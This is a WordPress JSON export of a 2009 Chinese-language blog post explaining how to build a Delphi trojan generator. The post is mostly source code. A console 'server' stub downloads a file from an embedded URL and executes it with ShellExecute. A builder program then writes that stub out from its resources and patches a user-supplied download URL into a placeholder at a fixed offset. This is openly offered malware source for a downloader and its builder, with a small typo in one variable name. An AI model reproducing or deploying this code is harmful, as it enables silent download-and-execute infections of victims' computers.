{"id":414,"date":"2009-05-24T12:46:00","date_gmt":"2009-05-24T04:46:00","guid":{"rendered":""},"modified":"2013-11-17T17:37:40","modified_gmt":"2013-11-17T09:37:40","slug":"delphi%e6%9c%a8%e9%a9%ac%e7%94%9f%e6%88%90%e5%99%a8%e5%8e%9f%e7%90%86","status":"publish","type":"post","link":"https:\/\/kyle.ai\/blog\/414.html","title":{"rendered":"Delphi\u6728\u9a6c\u751f\u6210\u5668\u539f\u7406"},"content":{"rendered":"<p>\u5148\u5199\u670d\u52a1\u7aefServer.exe\uff0c\u63a7\u5236\u53f0\u7a0b\u5e8f<\/p>\n<pre class=\"brush: delphi; title: ; notranslate\" title=\"\">\r\nprogram server;\r\n\r\n{$IMAGEBASE $13140000}\r\n\r\nuses\r\n  Windows,\r\n  SysUtils,\r\n  urlmon,\r\n  shellapi;\r\nvar\r\n  url: pchar ='aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';\r\nprocedure Download;\r\nbegin\r\nURLDownloadToFile(nil, url, 'c:\\1.txt', 0, nil);\r\nshellexecute(0,'open','c:\\1.txt',0,0,1);\r\nend;\r\n\r\nbegin\r\n  DownLoad;\r\nend.\r\n<\/pre>\n<p>\u518d\u5c06Server.exe\u505a\u6210\u8d44\u6e90\u6587\u4ef6\uff0cRC\u6587\u4ef6\u5199\uff1ajack RCDATA server.exe<br \/>\n\u627eServer.exe\u6587\u4ef6\u504f\u79fb\u5730\u5740\uff0c\u7528C32\u6253\u5f00Server.exe\uff0c\u67e5\u627eaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<br \/>\n\u5c06\u9996\u5730\u5740\u8f6c\u6362\u6210\u5341\u8fdb\u5236\u5373\u662f\u6211\u4eec\u8981\u627e\u7684\u4e0b\u8f7d\u5730\u5740\u504f\u79fb\u3002<\/p>\n<p>\u518d\u5199\u4e3b\u7a0b\u5e8f\uff0c\u5c06Server.exe\u8d44\u6e90\u6587\u4ef6\u52a0\u5165\uff0c{$R server.RES}\u3002<\/p>\n<pre class=\"brush: delphi; title: ; notranslate\" title=\"\">\r\nunit Unit1;\r\n\r\ninterface\r\n\r\nuses\r\n  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,\r\n  Dialogs, StdCtrls;\r\n    const\r\n  OFFSET_URL =  65400;    \/\/\u4e0b\u8f7d\u5730\u5740\u504f\u79fb\r\n\r\ntype\r\n  TForm1 = class(TForm)\r\n    Label1: TLabel;\r\n    Edit1: TEdit;\r\n    Button1: TButton;\r\n    Edit2: TEdit;\r\n    procedure Button1Click(Sender: TObject);\r\n  private\r\n    { Private declarations }\r\n  public\r\n    { Public declarations }\r\n  end;\r\n\r\nvar\r\n  Form1: TForm1;\r\n\r\nimplementation\r\n\r\n{$R *.dfm}\r\n{$R server.RES}\r\n\r\nprocedure TForm1.Button1Click(Sender: TObject);\r\nvar\r\n  WriteBuff, ResultFilePath, ResourcePointer: PChar;\r\n  ResourceLocation: HRSRC;\r\n  ResourceSize, BytesWritten: Longword;\r\n  ResDataHandle: THandle;\r\n  FileHandle: THandle;\r\n  sf:TSaveDialog;\r\n  Url:string;\r\nbegin\r\n  if trim(edit1.Text)='' then\r\n  begin\r\n    Application.MessageBox(pchar('\u8bf7\u8f93\u5165\u4e0b\u8f7d\u5730\u5740\uff01'), '\u63d0\u793a\u4fe1\u606f', mb_iconinformation);\r\n    exit;\r\n  end;\r\n  sf :=TSaveDialog.Create(Application);\r\n  sf.DefaultExt :='exe';\r\n  sf.Title :='\u751f\u6210';\r\n  if not sf.Execute then exit;\r\n  Url :=trim(Edit1.Text); \/\/trim\u51fd\u6570\u53bb\u6389\u7a7a\u683c\uff0c\u53d6\u5f97\u7f16\u8f91\u6846\u8f93\u5165\u7684\u5185\u5bb9\r\n  ResultFilePath := pchar(sf.FileName);\r\n  ResourceLocation := FindResource(HInstance, 'jack', RT_RCDATA); \/\/\u7528\u8d44\u6e90RCDATA\u4e2durlmm\u8d44\u6e90\r\n  if ResourceLocation &lt;&gt; 0 then\r\n  begin\r\n    ResourceSize := SizeofResource(HInstance, ResourceLocation);\r\n    if ResourceSize &lt;&gt; 0 then\r\n    begin\r\n      ResDataHandle := LoadResource(HInstance, ResourceLocation);\r\n      if ResDataHandle &lt;&gt; 0 then\r\n      begin\r\n        ResourcePointer := LockResource(ResDataHandle);\r\n        if ResourcePointer &lt;&gt; nil then\r\n        begin\r\n          FileHandle := CreateFile(ResultFilePath, GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);\r\n          if FileHandle &lt;&gt; INVALID_HANDLE_VALUE then\r\n          begin\r\n            WriteFile(FileHandle, ResourcePointer^, {\u8d44\u6e90+\u5927\u5c0f\u7684\u82f1\u8bed}ResourseSize, BytesWritten, nil);\r\n            Sleep(10);\r\n            \/\/\u5199\u5165\u4fe1\u606f\r\n            SetFilePointer(FileHandle, OFFSET_URL, nil, FILE_BEGIN);\r\n            WriteBuff := PChar(Url + StringOfChar(#0, 64 - Length(Url)));\/\/64\u662f\u6211\u4eec\u9884\u7559\u7684\u90a3\u4e2a\u5b57\u7b26\u4e32\u7684\u957f\u5ea6(\u537364\u4e2aa)\r\n            WriteFile(FileHandle, WriteBuff^, 64, BytesWritten, nil);\r\n            CloseHandle(FileHandle);  \/\/\u8fd9\u4e2a\u4e00\u5b9a\u4e0d\u80fd\u5c11\r\n            MessageBox(0, '\u914d\u7f6e\u6210\u529f', '\u63d0\u793a', mb_iconinformation);\r\n          end;\r\n        end;\r\n      end;\r\n    end;\r\n  end;\r\nend;\r\n\r\nend.\r\n<\/pre>\n","protected":false},"excerpt":{"rendered":"<p>\u5148\u5199\u670d\u52a1\u7aefServer.exe\uff0c\u63a7\u5236\u53f0\u7a0b\u5e8f program server; {$IMAGEBASE $1314 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-414","post","type-post","status-publish","format-standard","hentry","category-code_related"],"_links":{"self":[{"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/posts\/414","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/comments?post=414"}],"version-history":[{"count":1,"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/posts\/414\/revisions"}],"predecessor-version":[{"id":4756,"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/posts\/414\/revisions\/4756"}],"wp:attachment":[{"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/media?parent=414"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/categories?post=414"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/tags?post=414"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}